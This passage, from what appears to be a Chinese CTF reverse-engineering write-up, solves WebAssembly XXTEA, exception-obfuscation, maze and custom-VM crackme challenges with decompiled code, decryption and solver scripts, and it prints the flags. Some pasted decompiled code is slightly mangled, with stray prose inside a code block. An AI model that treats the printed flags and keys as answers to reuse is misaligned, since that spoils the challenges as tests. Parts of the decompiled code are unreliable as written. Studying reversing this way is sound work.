    uVar4 = unnamed_function_108(uVar4,uVar6);
    uVar2 = unnamed_function_109(uVar2,uVar4);
    iVar1 = unnamed_function_110(auStack_4);
    uVar4 = unnamed_function_111(auStack_8);
    iVar3 = unnamed_function_112(uVar4,1);
    iVar1 = iVar1 + iVar3 * 4;
    uVar4 = unnamed_function_113(iVar1);
    uVar2 = unnamed_function_114(uVar4,uVar2);
    unnamed_function_115(uVar2,iVar1);
    unnamed_function_116(uVar2,auStack_14);
    uVar2 = unnamed_function_117(auStack_20);
    uVar2 = unnamed_function_118(uVar2,0xffffffff);
    unnamed_function_119(uVar2,auStack_20);
    uVar5 = unnamed_function_120(uVar2,0);
  } while ((uVar5 &amp;amp; 1) != 0);
  return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是官方wp中更换函数名字之后tea加密算法函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void xxtea(undefined4 param1,undefined4 param2,undefined4 param3)
{
undefined4 uVar1;
int iVar2;
undefined4 uVar3;
uint uVar4;
int key;
undefined4 p;
undefined4 e;
undefined e_1 [4];
undefined round [4];
undefined i [4];
undefined sum [4];
undefined z [4];
undefined auStack_10 [4];
undefined inputKey [4];
undefined len [4];
undefined input [4];
a2b(param1,input);
a2b(param2,len);
a2b(param3,inputKey);
a2b(0x4c,round);
a2b(0,sum);
key = gv(input);
uVar1 = gv(len);
iVar2 = sub(uVar1,1);
uVar1 = gv(key + iVar2 * 4);
a2b(uVar1,z);
do {
uVar1 = gv(sum);
uVar1 = add(uVar1,0x1ce4e5b9);
a2b(uVar1,sum);
uVar1 = gv(sum);
uVar1 = ror(uVar1,2);
uVar1 = and(uVar1,3);
a2b(uVar1,e_1);
a2b(0,i);
while( true ) {
uVar1 = gv(i);
uVar3 = gv(len);
uVar3 = sub(uVar3,1);
uVar4 = AlowB(uVar1,uVar3);
if ((uVar4 &amp;amp; 1) = 0) break;
key = gv(input);
uVar1 = gv(i);
iVar2 = add(uVar1,1);
uVar1 = gv(key + iVar2 * 4);
a2b(uVar1,auStack_10);
uVar1 = gv(z);
uVar1 = ror(uVar1,6);
uVar3 = gv(auStack_10);
uVar3 = rol(uVar3,1);
uVar1 = xor(uVar1,uVar3);
uVar3 = gv(auStack_10);
uVar3 = ror(uVar3,5);
p = gv(z);
p = rol(p,6);
uVar3 = xor(uVar3,p);
uVar1 = add(uVar1,uVar3);
uVar3 = gv(sum);
p = gv(auStack_10);
uVar3 = xor(uVar3,p);
key = gv(inputKey);
p = gv(i);
p = and(p,3);
e = gv(e_1);
iVar2 = xor(p,e);
p = gv(key + iVar2 * 4);
e = gv(z);
p = xor(p,e);
uVar3 = add(uVar3,p);
uVar1 = xor(uVar1,uVar3);
key = gv(input);
iVar2 = gv(i);
key = key + iVar2 * 4;
uVar3 = gv(key);
uVar1 = add(uVar3,uVar1);
a2b(uVar1,key);
a2b(uVar1,z);
uVar1 = gv(i);
大概命名完后正式分析check函数。
uVar1 = gv(uVar1,1);
a2b(uVar1,i);
}
uVar1 = unnamed_function_83(input); /后面和上面差不多
uVar1 = unnamed_function_84(uVar1);
unnamed_function_85(uVar1,auStack_10);
uVar1 = unnamed_function_86(z);
uVar1 = unnamed_function_87(uVar1,6);
uVar3 = unnamed_function_88(auStack_10);
uVar3 = unnamed_function_89(uVar3,1);
uVar1 = unnamed_function_90(uVar1,uVar3);
uVar3 = unnamed_function_91(auStack_10);
uVar3 = unnamed_function_92(uVar3,5);
p = unnamed_function_93(z);
p = unnamed_function_94(p,6);
uVar3 = unnamed_function_95(uVar3,p);
uVar1 = unnamed_function_96(uVar1,uVar3);
uVar3 = unnamed_function_97(sum);
p = unnamed_function_98(auStack_10);
uVar3 = unnamed_function_99(uVar3,p);
key = unnamed_function_100(inputKey);
p = unnamed_function_101(i);
p = unnamed_function_102(p,3);
e = unnamed_function_103(e_1);
iVar2 = unnamed_function_104(p,e);
p = unnamed_function_105(key + iVar2 * 4);
e = unnamed_function_106(z);
p = unnamed_function_107(p,e);
uVar3 = unnamed_function_108(uVar3,p);
uVar1 = unnamed_function_109(uVar1,uVar3);
key = unnamed_function_110(input);
uVar3 = unnamed_function_111(len);
iVar2 = unnamed_function_112(uVar3,1);
key = key + iVar2 * 4;
uVar3 = unnamed_function_113(key);
uVar1 = unnamed_function_114(uVar3,uVar1);
unnamed_function_115(uVar1,key);
unnamed_function_116(uVar1,z);
uVar1 = unnamed_function_117(round);
uVar1 = unnamed_function_118(uVar1,0xffffffff);
unnamed_function_119(uVar1,round);
uVar4 = unnamed_function_120(uVar1,0);
} while ((uVar4 &amp;amp; 1) = 0);
return;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而第一个函数是key生成函数&lt;/p&gt;
&lt;p&gt;之后第22个函数也就是tea算法函数用这个key对输入进行加密&lt;/p&gt;
&lt;p&gt;动态获取key&lt;/p&gt;
&lt;p&gt;在wasm文件中调用func22函数出下断点，找到key&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-027.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;密文为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        0x95,0xB5,0xE4,0x59, 0xCF,0xD4,0xE1,0x51,
        0x18,0x84,0x37,0xAA, 0xE6,0xF7,0x65,0x18,
        0x93,0x41,0x4A,0x3E, 0x7C,0x37,0xD0,0x6B,
        0xD7,0x20,0x86,0x63, 0x10,0x83,0x63,0x7B,
        0xA8,0x11,0x9B,0x24, 0x3D,0x26,0xCD,0x6B
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-028.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解密脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
from typing import List
def u32(x): return x &amp;amp; 0xFFFFFFFF
def dec_btea(v: List[int], n: int, key: List[int]) -&amp;gt; List[int]:
    delta=0x1ce4e5b9; rounds=0x4c; s=(rounds*delta)&amp;amp;0xFFFFFFFF; y=v[0]
    for _ in range(rounds):
        e=(s&amp;gt;&amp;gt;2)&amp;amp;3
        for p in range(n-1,0,-1):
            z=v[p-1]
            t=(((z&amp;gt;&amp;gt;6)^((y&amp;lt;&amp;lt;1)&amp;amp;0xFFFFFFFF))+((y&amp;gt;&amp;gt;5)^((z&amp;lt;&amp;lt;6)&amp;amp;0xFFFFFFFF)))&amp;amp;0xFFFFFFFF
            t^=((s^y)+(key[(p&amp;amp;3)^e]^z))&amp;amp;0xFFFFFFFF
            v[p]=u32(v[p]-t); y=v[p]
        z=v[n-1]
        t=(((z&amp;gt;&amp;gt;6)^((y&amp;lt;&amp;lt;1)&amp;amp;0xFFFFFFFF))+((y&amp;gt;&amp;gt;5)^((z&amp;lt;&amp;lt;6)&amp;amp;0xFFFFFFFF)))&amp;amp;0xFFFFFFFF
        t^=((s^y)+(key[e]^z))&amp;amp;0xFFFFFFFF
        v[0]=u32(v[0]-t); s=u32(s-delta); y=v[0]
    return v
def b2u32le(b: bytes) -&amp;gt; List[int]: return [int.from_bytes(b[i:i+4],&apos;little&apos;) for i in range(0,len(b),4)]
def u322ble(v: List[int]) -&amp;gt; bytes: return b&apos;&apos;.join(x.to_bytes(4,&apos;little&apos;) for x in v)
ct=bytes([0x95,0xB5,0xE4,0x59,0xCF,0xD4,0xE1,0x51,0x18,0x84,0x37,0xAA,0xE6,0xF7,0x65,0x18,0x93,0x41,0x4A,0x3E,0x7C,0x37,0xD0,0x6B,0xD7,0x20,0x86,0x63,0x10,0x83,0x63,0x7B,0xA8,0x11,0x9B,0x24,0x3D,0x26,0xCD,0x6B])
key=b2u32le(bytes([0xF3,0x76,0x8A,0xE6,0xB3,0xA7,0x0A,0x93,0xE5,0x3E,0xC0,0x61,0x25,0xE7,0xA0,0xD3]))
v=b2u32le(ct)
pt=u322ble(dec_btea(v,len(v),key))[:len(ct)]
print(pt.decode(&apos;latin1&apos;))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{THi5_1s_4_fuNNY_Wa5m_ch4IlEnGE_10L}&lt;/p&gt;
&lt;p&gt;注意每个附件的key和密文不一样&lt;/p&gt;
&lt;h1&gt;4.Hachimi&lt;/h1&gt;
&lt;p&gt;一道异常处理的题&lt;/p&gt;
&lt;p&gt;try块&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-029.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;except块&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-030.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按官方wp中， 找到except块，也就是捕获异常的代码块，如果try块代码触发异常，则不会执行红框处代码，不会jmp带结尾，会 执行下面的 _except(loc_4013C9)块。但是反编译识别到这个jmp就让下面的代码都反编译不了了，我们要把except块全nop掉，就能看到完整main函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-031.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去看加密函数的时候会发现最后会返回39&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-032.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;转到汇编，会看到下面还有一段没有被编译器识别到， 由于ida识别失败，会将这个 retn认为是函数是retn，所以反编译代码就截止到这边，后续的没了  ，我们把这段花指令，从push eax到retn全nop掉&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-033.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;完整加密函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-034.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;xxtea密钥&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-035.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;密文&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  0x4D, 0x7A, 0x3E, 0x7A, 0x84, 0xFF, 0x51, 0xB1, 0x31, 0x97, 
  0xFB, 0xDC, 0x2B, 0xA4, 0xCD, 0xFB, 0x85, 0xCD, 0x0A, 0x2B, 
  0xBD, 0x91, 0xCF, 0x69, 0xBA, 0x2B, 0x70, 0xD5, 0x43, 0xB8, 
  0x3E, 0x1F
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解密脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

def xtea_decrypt_block(v0, v1, key):
    DELTA = 0x9E3779B9
    sum_ = (DELTA * 32) &amp;amp; 0xFFFFFFFF
    for _ in range(32):
        v1 = (v1 - (((v0 &amp;lt;&amp;lt; 4 ^ v0 &amp;gt;&amp;gt; 5) + v0) ^ (sum_ + key[(sum_ &amp;gt;&amp;gt; 11) &amp;amp; 3]))) &amp;amp; 0xFFFFFFFF
        sum_ = (sum_ - DELTA) &amp;amp; 0xFFFFFFFF
        v0 = (v0 - (((v1 &amp;lt;&amp;lt; 4 ^ v1 &amp;gt;&amp;gt; 5) + v1) ^ (sum_ + key[sum_ &amp;amp; 3]))) &amp;amp; 0xFFFFFFFF
    return v0, v1

k0 = 1495531287
k1 = (-1758678609) &amp;amp; 0xFFFFFFFF
k2 = (-880611118) &amp;amp; 0xFFFFFFFF
k3 = (-38157364) &amp;amp; 0xFFFFFFFF
key = [k0, k1, k2, k3]
key_bytes = struct.pack(&apos;&amp;lt;IIII&apos;, *key)
whitening = key_bytes[8:16][::-1]

ciphertext = bytes([0x4D, 0x7A, 0x3E, 0x7A, 0x84, 0xFF, 0x51, 0xB1, 0x31, 0x97, 0xFB, 0xDC, 0x2B, 0xA4, 0xCD, 0xFB, 0x85, 0xCD, 0x0A, 0x2B, 0xBD, 0x91, 0xCF, 0x69, 0xBA, 0x2B, 0x70, 0xD5, 0x43, 0xB8, 0x3E, 0x1F])

plaintext = b&apos;&apos;
for i in range(0, len(ciphertext), 8):
    block = ciphertext[i:i+8]
    temp = bytes(b ^ w for b, w in zip(block, whitening))
    v0, v1 = struct.unpack(&apos;&amp;gt;II&apos;, temp)
    v0, v1 = xtea_decrypt_block(v0, v1, key)
    pt_block = struct.pack(&apos;&amp;lt;II&apos;, v0, v1)
    plaintext += pt_block

print(plaintext.decode(&apos;ascii&apos;, errors=&apos;ignore&apos;).strip())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{ha_ha_hachimi_na_bei_lu_do}&lt;/p&gt;
&lt;h1&gt;5.specialMaze&lt;/h1&gt;
&lt;p&gt;IDA打开main函数，一个走地图的题&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-036.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们直接看sub_1400011C0函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char __fastcall sub_1400011C0(char a1)
{
  char result; // al
  unsigned int v2; // [rsp+0h] [rbp-28h]

  switch ( a1 )
  {
    case &apos;a&apos;:
      v2 = dword_1400051C4 - 1;
      break;
    case &apos;d&apos;:
      v2 = dword_1400051C4 + 1;
      break;
    case &apos;s&apos;:
      v2 = dword_1400051C4 + 18;
      break;
    case &apos;w&apos;:
      v2 = dword_1400051C4 - 18;
      break;
    default:
      return 0;
  }
  if ( v2 &amp;gt;= 0x144 )
    return 0;
  switch ( asc_140005080[v2] )
  {
    case 0:
      dword_1400051C4 = v2;
      result = 0;
      break;
    case 4:
      if ( asc_140005080[79] )
        --asc_140005080[79];
      result = 0;
      break;
    case 5:
      if ( asc_140005080[195] )
        --asc_140005080[195];
      result = 0;
      break;
    case 6:
      if ( asc_140005080[281] )
        --asc_140005080[281];
      result = 0;
      break;
    case 9:
      result = 0;
      break;
    case 100:
      dword_1400051C4 = v2;
      result = 1;
      break;
    default:
      result = 0;
      break;
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当前索引 dword_1400051C4  第二十个&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-037.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对应一下就是0&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-038.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后输入字符只接受 &lt;code&gt;**w/a/s/d**&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;a&lt;/code&gt;: &lt;code&gt;pos-1&lt;/code&gt;（左）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d&lt;/code&gt;: &lt;code&gt;pos+1&lt;/code&gt;（右）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;w&lt;/code&gt;: &lt;code&gt;pos-18&lt;/code&gt;（上）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;s&lt;/code&gt;: &lt;code&gt;pos+18&lt;/code&gt;（下）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;根据目标格子的值做处理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt;：可走路面 → &lt;strong&gt;移动&lt;/strong&gt;到该格（&lt;code&gt;pos = v2&lt;/code&gt;），返回 &lt;code&gt;0&lt;/code&gt;（未胜利）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;100&lt;/code&gt;：终点 → &lt;strong&gt;移动&lt;/strong&gt;到该格并返回 &lt;code&gt;1&lt;/code&gt;（胜利）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9&lt;/code&gt;：阻塞（墙/陷阱）→ 不移动，返回 &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4/5/6&lt;/code&gt;：&lt;strong&gt;开关按钮&lt;/strong&gt;（不进格、只遥控）
&lt;ul&gt;
&lt;li&gt;尝试“走”向含 &lt;code&gt;4/5/6&lt;/code&gt; 的邻格时，不移动，但会对&lt;strong&gt;另一个固定索引&lt;/strong&gt;做 &lt;code&gt;--&lt;/code&gt;：
&lt;ul&gt;
&lt;li&gt;走向 &lt;code&gt;4&lt;/code&gt;：若 &lt;code&gt;asc[79] &amp;gt; 0&lt;/code&gt;，执行 &lt;code&gt;--asc[79]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;走向 &lt;code&gt;5&lt;/code&gt;：若 &lt;code&gt;asc[195] &amp;gt; 0&lt;/code&gt;，执行 &lt;code&gt;--asc[195]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;走向 &lt;code&gt;6&lt;/code&gt;：若 &lt;code&gt;asc[281] &amp;gt; 0&lt;/code&gt;，执行 &lt;code&gt;--asc[281]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;按完仍在原地，返回 &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;完整地图&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    9,   9,   9,   9,   9,   9,   9,   9,   9,   9, 
    9,   9,   9,   9,   9,   9,   9,   9,   9,   0, 
    9,   4,   0,   0,   0,   0,   9,   0,   0,   0, 
    0,   5,   0,   0,   9,   9,   9,   0,   9,   9, 
    9,   0,   9,   0,   9,   9,   9,   9,   9,   0, 
    9,   0,   9,   9,   9,   0,   0,   0,   0,   0, 
    9,   0,   9,   0,   0,   0,   9,   0,   9,   0, 
    9,   9,   9,   9,   9,   9,   9,   9,   9,   1, 
    9,   0,   9,   0,   9,   0,   9,   9,   9,   9, 
    9,   0,   0,   0,   9,   0,   9,   0,   0,   0, 
    9,   0,   9,   0,   0,   0,   9,   9,   9,   0, 
    9,   0,   9,   0,   9,   9,   9,   9,   9,   0, 
    9,   0,   9,   0,   9,   9,   9,   0,   9,   0, 
    0,   0,   0,   0,   9,   0,   0,   0,   9,   0, 
    9,   0,   9,   9,   9,   0,   9,   9,   9,   9, 
    9,   9,   9,   0,   9,   9,   9,   9,   9,   0, 
    9,   9,   9,   6,   9,   0,   0,   0,   0,   0, 
    9,   0,   0,   0,   0,   0,   0,   0,   9,   9, 
    9,   0,   9,   0,   9,   9,   9,   0,   9,   9, 
    9,   9,   9,   9,   9,   2,   9,   9,   9,   0, 
    9,   0,   0,   0,   9,   0,   0,   0,   9,   0, 
    0,   0,   0,   0,   9,   9,   9,   0,   9,   9, 
    9,   0,   9,   9,   9,   0,   9,   0,   9,   9, 
    9,   9,   9,   9,   9,   0,   0,   0,   9,   0, 
    0,   0,   9,   0,   0,   0,   9,   0,   0,   0, 
    9,   9,   9,   0,   9,   0,   9,   9,   9,   0, 
    9,   9,   9,   9,   9,   0,   9,   0,   9,   9, 
    9,   0,   9,   0,   0,   0,   0,   0,   0,   0, 
    0,   3,   0,   0,   9,   0,   0,   9,   9,   9, 
    9,   9,   9,   9,   9,   9,   9,   9,   9,   9, 
    9,   9,   9,   9, 100,   9,   9,   9,   9,   9, 
    9,   9,   9,   9,   9,   9,   9,   9,   9,   9, 
    9,   9,   9,   9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import hashlib
from collections import deque


GRID_HEX = &quot;&quot;&quot;
0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x0 0x9 0x4 0x0 0x0 0x0 0x0 0x9 0x0 0x0 0x0 0x0 0x5 0x0 0x0 0x9 0x9 0x9 0x0 0x9 0x9 0x9 0x0 0x9 0x0 0x9 0x9 0x9 0x9 0x9 0x0 0x9 0x0 0x9 0x9 0x9 0x0 0x0 0x0 0x0 0x0 0x9 0x0 0x9 0x0 0x0 0x0 0x9 0x0 0x9 0x0 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x1 0x9 0x0 0x9 0x0 0x9 0x0 0x9 0x9 0x9 0x9 0x9 0x0 0x0 0x0 0x9 0x0 0x9 0x0 0x0 0x0 0x9 0x0 0x9 0x0 0x0 0x0 0x9 0x9 0x9 0x0 0x9 0x0 0x9 0x0 0x9 0x9 0x9 0x9 0x9 0x0 0x9 0x0 0x9 0x0 0x9 0x9 0x9 0x0 0x9 0x0 0x0 0x0 0x0 0x0 0x9 0x0 0x0 0x0 0x9 0x0 0x9 0x0 0x9 0x9 0x9 0x0 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x0 0x9 0x9 0x9 0x9 0x9 0x0 0x9 0x9 0x9 0x6 0x9 0x0 0x0 0x0 0x0 0x0 0x9 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x9 0x9 0x0 0x9 0x0 0x9 0x9 0x9 0x0 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x2 0x9 0x9 0x9 0x0 0x9 0x0 0x0 0x0 0x9 0x0 0x0 0x0 0x9 0x0 0x0 0x0 0x0 0x0 0x9 0x9 0x9 0x0 0x9 0x9 0x9 0x0 0x9 0x9 0x9 0x0 0x9 0x0 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x0 0x0 0x0 0x9 0x0 0x0 0x0 0x9 0x0 0x0 0x0 0x9 0x0 0x0 0x0 0x9 0x9 0x9 0x0 0x9 0x0 0x9 0x9 0x9 0x0 0x9 0x9 0x9 0x9 0x9 0x0 0x9 0x0 0x9 0x9 0x9 0x0 0x9 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x3 0x0 0x0 0x9 0x0 0x0 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x64 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9 0x9
&quot;&quot;&quot;

W = 18
G = [int(x, 16) for x in GRID_HEX.split()]

START = 0x13
FINISH = 0x64
G4, G5, G6 = 79, 195, 281


def tile(i, c79, c195, c281):
    if i == G4:
        return c79
    if i == G5:
        return c195
    if i == G6:
        return c281
    return G[i]

def solve():
    c79, c195, c281 = G[G4], G[G5], G[G6]
    q = deque([((START, c79, c195, c281), &quot;&quot;)])
    vis = {(START, c79, c195, c281)}
    moves = {&quot;a&quot;: -1, &quot;d&quot;: 1, &quot;w&quot;: -W, &quot;s&quot;: W}

    while q:
        (pos, c79, c195, c281), path = q.popleft()
        for ch, d in moves.items():
            v = pos + d
            if not (0 &amp;lt;= v &amp;lt; W * W):
                continue
            t = tile(v, c79, c195, c281)
            if t == 0:
                s = (v, c79, c195, c281)
                if s not in vis:
                    vis.add(s)
                    q.append((s, path + ch))
            elif t == FINISH:
                p = path + ch
                md5 = hashlib.md5(p.encode()).hexdigest().upper()
                print(&quot;path:&quot;, p)
                print(&quot;flag:&quot;, f&quot;flag{{{md5}}}&quot;)
                return
            elif t == 4 and c79 &amp;gt; 0:
                s = (pos, c79 - 1, c195, c281)
                if s not in vis:
                    vis.add(s)
                    q.append((s, path + ch))
            elif t == 5 and c195 &amp;gt; 0:
                s = (pos, c79, c195 - 1, c281)
                if s not in vis:
                    vis.add(s)
                    q.append((s, path + ch))
            elif t == 6 and c281 &amp;gt; 0:
                s = (pos, c79, c195, c281 - 1)
                if s not in vis:
                    vis.add(s)
                    q.append((s, path + ch))
    print(&quot;no path&quot;)

if __name__ == &quot;__main__&quot;:
    solve()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;路径&lt;/p&gt;
&lt;p&gt;ssddddwwaadddssssddwwddssssaassddddddwwwwaawwwwwsssddssssssaaaassaawwaawwaaaassddssddssaaaawwaawwwwwwsssddssddddddddddwwddssds&lt;/p&gt;
&lt;p&gt;flag{10FA984B6294B96D8D5699ED7D4EF61A}&lt;/p&gt;
&lt;h1&gt;6.VM&lt;/h1&gt;
&lt;p&gt;自定义的字节码加解释题&lt;/p&gt;
&lt;p&gt;先导入题目给的dbg附件&lt;/p&gt;
&lt;p&gt;在定位到runner解释器&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-039.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在case1调用的函数的地方下条件断点，写入下面函数体&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pc_addr=idc.get_name_ea_simple(&quot;pc&quot;) 
pc=ida_bytes.get_word(pc_addr) 
sp_addr=idc.get_name_ea_simple(&quot;sp_&quot;) 
sp=ida_bytes.get_word(sp_addr) 
rcx=idc.get_reg_value(&quot;rcx&quot;) 
rdx=idc.get_reg_value(&quot;rdx&quot;) 
r8=idc.get_reg_value(&quot;r8&quot;) 
r9=idc.get_reg_value(&quot;r9&quot;) 
op_name=&quot;_LOAD_CONST&quot; 
print(pc, op_name, &quot;sp{}&quot;.format(sp), rcx, rdx, r8, r9)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0 _LOAD_CONST sp65535 1 0 0 56503560224
5 _LOAD_CONST sp65535 1 1 9223372036854775804 1692878378624
13 _LOAD_CONST sp65535 0 0 9151031864016699135 3026190458141290544
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着case2下条件断点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3 _STORE_NAME sp65535 0 140696112143560 140696112205920 13846361207288113
8 _STORE_NAME sp65535 1 140696112143560 140696112205920 28262291131689595
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;case3&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;12 _LEN sp65535 18446744073709551552 140696112143536 9223372036854775804 9295712209692852480
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;case4&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;16 _COMPARE_OP sp65535 3 140696112143504 140696112205920 2371430651872
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;类似就是这样的结果，之后就是我们在runner中每个调用函数的地方下一个条件断点&lt;/p&gt;
&lt;p&gt;调试，输入一个长度为30的字符串&lt;/p&gt;
&lt;p&gt;就可以得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;65535 _LOAD_CONST sp=65535 1 0 0 492153335056
65535 _STORE_NAME sp=65535 0 140702510881992 140702510944352 35291442962325857
65535 _LOAD_CONST sp=65535 1 1 9223372036854775804 2645304350336
65535 _STORE_NAME sp=65535 1 140702510881992 140702510944352 28262291131689595
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350336
65535 _LEN sp=65535 18446744073709551536 140702510881968 9223372036854775804 9295712209692852480
65535 _LOAD_CONST sp=65535 0 0 9151031864016699135 3026274227991896160
16 _COMPARE_OP sp65535 3 140702510881936 140702510944352 2645304350704
65535 _LOAD_CONST sp=65535 0 2 0 2645304350576
65535 _STORE_NAME sp=65535 2 140702510881992 140702510944352 2645304350640
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
32 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304350768
65535 _LOAD_NAME sp=65535 0 140702510881680 1 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 0 140702510881792 9223372036854775804 2645304350928
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350848
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304350912
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304350976
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304350912
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304350976
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304350912
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304350848
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350704
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304350768
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304350832
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
